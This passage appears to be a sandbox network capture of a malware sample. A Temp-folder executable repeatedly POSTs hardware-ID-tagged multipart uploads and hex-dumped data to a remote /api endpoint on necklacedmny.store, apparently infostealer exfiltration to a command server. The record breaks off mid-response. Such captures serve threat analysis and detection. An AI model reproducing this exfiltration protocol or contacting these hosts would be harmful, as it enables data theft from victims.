2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: 1d 6f 6d de a0 18 db 7f d3 3c 8e 69 81 19 da d5 9f b0 9a 11 7c 80 b5 a1 39 0f 90 6f 10 12 05 af db b5 0d 35 57 fd 26 7c 55 1d 91 b5 0b d5 81 63 83 43 4c ce e2 71 4d 88 76 86 d7 6e 9a ed 96 18 fe 75 29 49 1d d3 a7 21 0e 5c 9e 4a 9d be 0a a6 58 3b 3c f5 0f b4 75 13 5b cc af 50 d5 2f d4 18 54 1b b5 32 56 22 5a ff b7 75 1d c1 75 d7 32 e3 54 78 84 4a d5 e9 4c 0c c8 2a 47 bc f9 7f 42 f5 ff c9 d9 06 70 9a 99 2d 45 04 cc 61 c0 35 f4 d4 88 bd 24 d4 f4 72 bb eb 17 27 60 01 07 e4 18 12 b2 1b 76 2c 11 20 74 3b 5f 15 0a 52 82 d3 85 57 0c 00 19 11 26 0a 0e 74 dd 01 a6 dd f5 c1 18 b6 1a aa e5 94 bf 51 e1 50 cb 1c fe 9f 49 54 2f fa e8 50 ab 78 01 32 e6 95 04 f9 83 19 84 93 cf a8 0b 31 fa 2e 17 f4 7a 36 df 5d 14 47 94 21 a7 69 b1 ad b8 5e 47 e1 e4 41 c3 94 ea 58 a5 1b a2 Data Ascii: om<i\|9o5W&\|UcCLqMvnu)I!\JX;<u[P/T2V"Zuu2TxJL*GBp-Ea5$r'`v, t;_RW&tQPIT/Px21.z6]G!i^GAX
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: 8e a6 06 66 8b 93 2d 22 84 c4 ae b9 6b f4 08 ad 76 31 7d 3d 33 32 11 c6 b3 7b 51 c7 1a 3e fa 25 e9 6a ba d7 2f 78 bc c8 b2 52 a6 07 80 0a 2f 69 64 c1 6f 5a 35 01 75 45 b3 91 0a 31 d8 dc 65 ee 1a 1c 7c 42 cb 12 d2 b4 24 41 50 fe 5c ee 7f eb ec fa ed 9a 79 85 cb e0 8e df 33 3e df 91 71 98 3f d2 ff ce 4c 14 00 80 23 0c 34 12 a1 50 c0 5c 9f 9a 7a 30 92 76 1e ce 0f af c3 9e 50 6e 74 de ee 81 b8 ea fd 87 0d c0 1a 36 4f 81 57 7f 8c dc 1c a2 08 80 57 4b 6d 48 ba 02 8b 9e 12 fa ab f4 80 01 76 2a 40 03 09 f1 22 0e 21 4c a8 f4 7b 4c ee 69 42 4c 64 b5 ef 97 56 81 17 fa de 92 37 5b 46 fe be 61 c7 aa ea 38 e4 28 2c 5c ff 5c ef 56 e9 f5 37 10 79 7c e3 f2 1e 19 a0 7d 73 68 e2 1f cc c6 57 88 51 56 7d 0c c7 10 1c d3 c1 08 41 0b 8d 42 bd 92 3f 65 e9 8d 7b 2e 9d c9 c5 fa 16 Data Ascii: f-"kv1}=32{Q>%j/xR/idoZ5uE1e\|B$AP\y3>q?L#4P\z0vPnt6OWWKmHv*@"!L{LiBLdV7[Fa8(,\\V7y\|}shWQV}AB?e{.
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: 2f 9e 09 d6 19 e5 d4 a8 20 0f 1d 81 6a db ea e6 88 2c ef 13 94 e5 70 8e 21 cb 3b 10 e5 00 74 1f b5 2e 8c f3 13 2b 20 a9 11 74 83 bb 41 91 0f e2 da 0f cc 29 33 42 dd 89 02 83 f8 d4 ba e3 3e 6b fb 5a cc 54 24 37 01 b5 22 f7 a5 6c 37 1b 0e 82 3a b5 98 52 fd 02 de 93 5c bf 3d c5 d8 90 d6 f9 2f 74 41 46 52 31 17 8b 52 b4 e3 41 1c 94 ac af 7d 08 91 d9 05 6c 97 d4 2d 0f 88 61 60 fc d9 70 7b 53 42 a5 d5 73 71 f8 b3 40 1a eb b7 2b eb f7 3f 75 35 cf 22 b8 9b 39 db 93 1c a5 37 ae 35 8a 1c b3 60 96 c2 c2 91 8d 3d d6 6c f3 f8 c5 70 56 5b e2 8e 7a 0c 45 7d 88 41 65 10 c6 1b ff 7e fb e2 d7 0b 1b ba dd 2b 58 f7 99 d7 b8 cb c8 fe 53 ea 46 ab 33 f4 65 d6 3f bb a5 06 a8 aa 0c 1d ec 54 0f 0f a8 59 fe fe d3 f3 e6 a5 10 4b 2b 42 51 dc 66 05 26 6a fe 8d ea e9 fb 27 ee cc 3b f5 Data Ascii: / j,p!;t.+ tA)3B>kZT$7"l7:R\=/tAFR1RA}l-a`p{SBsq@+?u5"975`=lpV[zE}Ae~+XSF3e?TYK+BQf&j';
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: d3 48 2b 39 1f e5 0f 10 c1 a8 ea af 9f ac 7d f5 f9 16 ba f5 57 eb 2a 2a 07 74 95 61 2f de f2 e7 a0 5d 91 2f 56 4d b4 78 73 88 ec b9 7a f7 d1 b9 21 fe 0c a9 ca 47 19 fe a6 f1 b9 3a 6d 65 ee d0 e4 9c 0e 73 f7 f0 b7 d5 a3 fc 9c 21 93 99 63 f5 37 d9 d5 a4 60 c1 77 db 41 ba 84 3a 74 ac 09 80 a3 3a 60 ba 73 67 45 1c 44 72 8e 79 ed c1 ea 79 33 09 d0 32 a2 42 ab b9 7f 9f f6 40 d4 34 fc 3b 77 9f 4a 6a 81 84 eb d6 17 8f 5c 6b 90 f1 32 bd bf 45 a2 45 ac be 99 29 2e 4e 11 59 39 9e 5d d8 57 d9 f0 bc b0 f8 a7 35 82 29 8d ca f8 dc c0 fa 4f 08 1e 8e 86 4f 88 02 3b f6 07 48 f0 a4 a2 4a 0f 20 41 a7 14 68 36 ed b5 db 9c 24 19 09 51 c9 2d 16 80 f9 ea fe 60 d0 d7 ba 4a 98 22 9d 10 80 80 13 39 2f 9e d4 f8 70 af 62 f8 3e d2 4e 63 c8 a0 db 1b 67 41 ba 26 ee 32 06 12 06 32 3c 0d Data Ascii: H+9}W**ta/]/VMxsz!G:mes!c7`wA:t:`sgEDryy32B@4;wJj\k2EE).NY9]W5)OO;HJ Ah6$Q-`J"9/pb>NcgA&22<
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: 72 34 3c 62 fa c4 aa 8d 27 b5 5d 82 6d a3 2f 5e ad 7b c8 63 4b bf 8d c7 11 91 83 3e ef 0d f3 e0 90 00 de b7 65 9b 85 87 6c 69 94 24 b8 be d9 a3 bc 84 7b c5 8a f6 4a c6 d0 d4 11 90 a7 10 17 da e5 b2 f1 7e ee 65 90 d1 ae 54 1b 74 d8 cb 26 dd 31 ee 60 46 aa 7d 66 e4 7e d9 66 5b bd 27 d5 4f 31 fd 4a 2a 70 00 74 f0 af 7f 74 a3 88 d9 aa c3 cc b3 88 bf af 60 92 e7 19 e9 ec 5c 16 de db 07 fa b5 5a 98 84 ac 43 63 b3 73 81 83 73 54 17 a2 f9 01 7d 52 a8 5e c2 a1 0d 41 51 5e 30 cd 21 a6 24 2a bc fe 42 98 1b 15 a5 18 f3 a5 57 df fe 25 7f 8d d2 70 1b c2 0a 0b c5 9c 70 18 aa 7a f9 04 df c2 ab 53 a6 b8 15 19 c9 77 9c 0f eb 95 a1 aa 32 b3 0e 86 19 f1 5b 5b c0 33 c6 8e 9e b7 13 e3 c3 e1 d5 27 7f e8 46 91 3a 58 a8 58 c6 8b 25 2e 16 14 cb 94 0a af 9f b5 a0 aa a2 af 21 28 cd Data Ascii: r4<b']m/^{cK>eli${J~eTt&1`F}f~f['O1Jptt`\ZCcssT}R^AQ^0!$BW%ppzSw2[[3'F:XX%.!(
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: 72 e6 9a 8d 5e d3 f7 bf 19 ee 2c 62 a6 a0 34 85 66 7d f7 3e 08 9f 38 c2 04 61 3b c5 d5 58 af 1f 42 b6 24 db 04 2f f5 1a 14 ac c1 c4 94 62 12 6c 6c 48 b3 ce 18 ea f5 d9 2c 40 a9 15 24 6d c2 90 30 47 0b d4 87 ce 0c 57 37 43 54 1c 22 19 c3 73 7d 37 3f d5 f2 75 61 de 77 90 3f d4 bb 38 e0 e7 19 3e d7 bb 5a b5 f7 b4 56 d0 ec 67 b2 df 2c 86 3e 64 ce 89 c9 3a d5 48 a7 fb bd f2 67 73 ef fa b3 79 06 63 b3 ba 14 96 3a f1 3f b5 81 bd c4 2f e8 71 b6 0f c4 a7 89 51 c6 21 56 b7 0d 79 ca 7c fe 43 61 e9 ef 60 f7 71 f1 8f 13 eb 6f 50 c0 6d 78 70 80 7d 1d c8 93 b2 ab 23 67 1a 67 37 1c e9 43 fd e1 ac 76 16 02 05 c2 fd 97 17 ae 6d 44 b8 df 06 7a a5 40 50 10 b8 0f 7b 4e 22 e0 81 9d 2e f0 c0 1f 30 7f 58 e0 16 1e 57 5d ad 75 2c 9c 93 00 91 e5 32 60 85 c0 ef db 39 2b 08 fa 51 ab Data Ascii: r^,b4f}>8a;XB$/bllH,@$m0GW7CT"s}7?uaw?8>ZVg,>d:Hgsyc:?/qQ!Vy\|Ca`qoPmxp}#gg7CvmDz@P{N".0XW]u,2`9+Q
2024-11-01 02:46:49 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b86m41bgfdo627v7ltlu3eilcu; expires=Mon, 24-Feb-2025 20:33:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PRPu4C7rNbHifGzFZkBuDFNalKLBdBe0oGiqApLTgQYWRVXAyNkuxDa7z1VGtBL1D0g4X1gN48%2BmASk3JqLunG7qjFkd8pSdWZ93aasd6r84tFclucOGmaNm7mEDWiV8xA%2FKsJQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e74a863e583-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1078&sent=226&recv=640&lost=0&retrans=0&sent_bytes=2845&recv_bytes=599698&delivery_rate=2518260&cwnd=251&unsent_bytes=0&cid=04962c71208a1451&ts=1941&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	58565	188.114.97.3	443	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:49 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-11-01 02:46:49 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:49 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bkuts75nv6kb7ftr96hfl47lhc; expires=Mon, 24-Feb-2025 20:33:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eNoFdOLcIxUzIZozp%2FDI0wRPQTKZiv4TSKb274n%2BFdPhmZ5CzToUHzSThmKrMsWEWQryYpFcMnXJNx7cORpNPsjHmoSvUIiQiSR6lWUzflEHby0FRwvQgqOpBwzKUzTfCrqz5Xo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e7f0f65cb76-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1442&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=2089466&cwnd=252&unsent_bytes=0&cid=93ff1ef88deba590&ts=1215&x=0"
2024-11-01 02:46:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	58571	188.114.97.3	443	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:51 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 02:46:51 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5560522AED40BC223A70EF3DCABDFD84
2024-11-01 02:46:51 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pib0bq0si9jgn5251tt7niki80; expires=Mon, 24-Feb-2025 20:33:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H00224zSiPyS0zv%2FmcTKC%2BjSQF6L%2BspAu4PtUmIp9444IsSzEPTQ1xjMllw5qAwfVpBdwktDJJv4qOf28g5ckd21Vii2uH1LG8DMPEB1tGsAR8E5%2BQWQmr7EgUD9va8xKoK18s4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e898be1eaa4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1300&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2198936&cwnd=251&unsent_bytes=0&cid=6921a24680fdee62&ts=710&x=0"
2024-11-01 02:46:51 UTC	214	IN	Data Raw: 64 30 0d 0a 39 48 6f 4c 44 43 47 6b 72 67 6c 79 4a 6d 2f 54 51 37 4d 4c 7a 56 6f 43 6b 74 43 73 53 51 74 36 70 58 72 57 69 54 47 51 57 4e 61 76 41 53 6c 35 41 35 36 4d 59 51 5a 53 48 2b 6b 66 6e 46 66 69 61 7a 71 6e 2f 70 35 34 50 6c 53 55 53 2b 57 6e 41 4b 59 45 2b 5a 73 63 62 56 41 4f 77 4d 74 76 58 45 4d 58 74 6d 47 66 4b 61 73 75 49 4b 6a 67 67 47 74 75 57 4a 39 4b 71 36 56 4b 73 69 33 30 7a 6c 68 6a 65 46 58 55 6c 46 56 64 65 6b 44 69 65 34 59 6c 2f 32 73 33 76 4f 47 64 65 69 56 4c 6b 79 62 35 35 46 6a 2b 50 59 72 62 43 47 70 69 52 63 76 44 4a 78 64 65 43 76 46 76 6b 57 32 35 65 44 69 69 2f 49 34 73 4b 55 43 56 42 34 73 3d 0d 0a Data Ascii: d09HoLDCGkrglyJm/TQ7MLzVoCktCsSQt6pXrWiTGQWNavASl5A56MYQZSH+kfnFfiazqn/p54PlSUS+WnAKYE+ZscbVAOwMtvXEMXtmGfKasuIKjggGtuWJ9Kq6VKsi30zlhjeFXUlFVdekDie4Yl/2s3vOGdeiVLkyb55Fj+PYrbCGpiRcvDJxdeCvFvkW25eDii/I4sKUCVB4s=
2024-11-01 02:46:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	58576	188.114.97.3	443	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:51 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-11-01 02:46:51 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:52 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m8ke4ub69s33pnc6d7rqd043c3; expires=Mon, 24-Feb-2025 20:33:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k3IH62qDWtjvBjyuzoVFe6aZ9IU10vHqAEKSAt5Q32mY8YBfV51qZrs2TM3gtz3WENqhksGfxNSOPMJbOkMhC0U0bQW7FvLMcmsl907YlnXzBbWbpLGbU2ap3wUy55kVpx%2FPV34%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e8f2d581441-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1214&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16052&delivery_rate=2294770&cwnd=235&unsent_bytes=0&cid=2ec6a1fbed843049&ts=542&x=0"
2024-11-01 02:46:52 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	58586	188.114.97.3	443	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:54 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-11-01 02:46:54 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:54 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-11-01 02:46:55 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7br7mqckmm54shna5haluu9107; expires=Mon, 24-Feb-2025 20:33:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T7MlhPguWdNEY7yarvdul3kEw3YVwA%2Bjvp%2FB6BzI%2F7kdGIU6P162oiCdtbCpOo8DG3K2XP2BsPyk%2Fj6GgzdVDCLTJUcE1JAh4ssbTLYpzDvSKzzbvxfM%2Ff4jx75pTraSXQ1l6rs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e9f8ad9a916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1359&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=2029432&cwnd=141&unsent_bytes=0&cid=2003cf05a8c1ce55&ts=515&x=0"
2024-11-01 02:46:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	58589	188.114.97.3	443	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:58 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1290 Host: necklacedmny.store
2024-11-01 02:46:58 UTC	1290	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:58 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kqt7mvco9uj511229h067iqh49; expires=Mon, 24-Feb-2025 20:33:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FOWGTyXOzlzVxxwsoq44NpQy8g0cEuvNLyaKJqVd0Os8egTod%2FYuXKMKTXYDIssr6wR8xEQ8HRNcxONNk%2Bc7fTtbc6MinFAVCdrlBxYcOy8hP4Ne7SLvvnF2C7JpbsTq0obBWKQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88eb57b8b4769-DFW alt-svc: h3=":443"; ma=86400 server-timing: 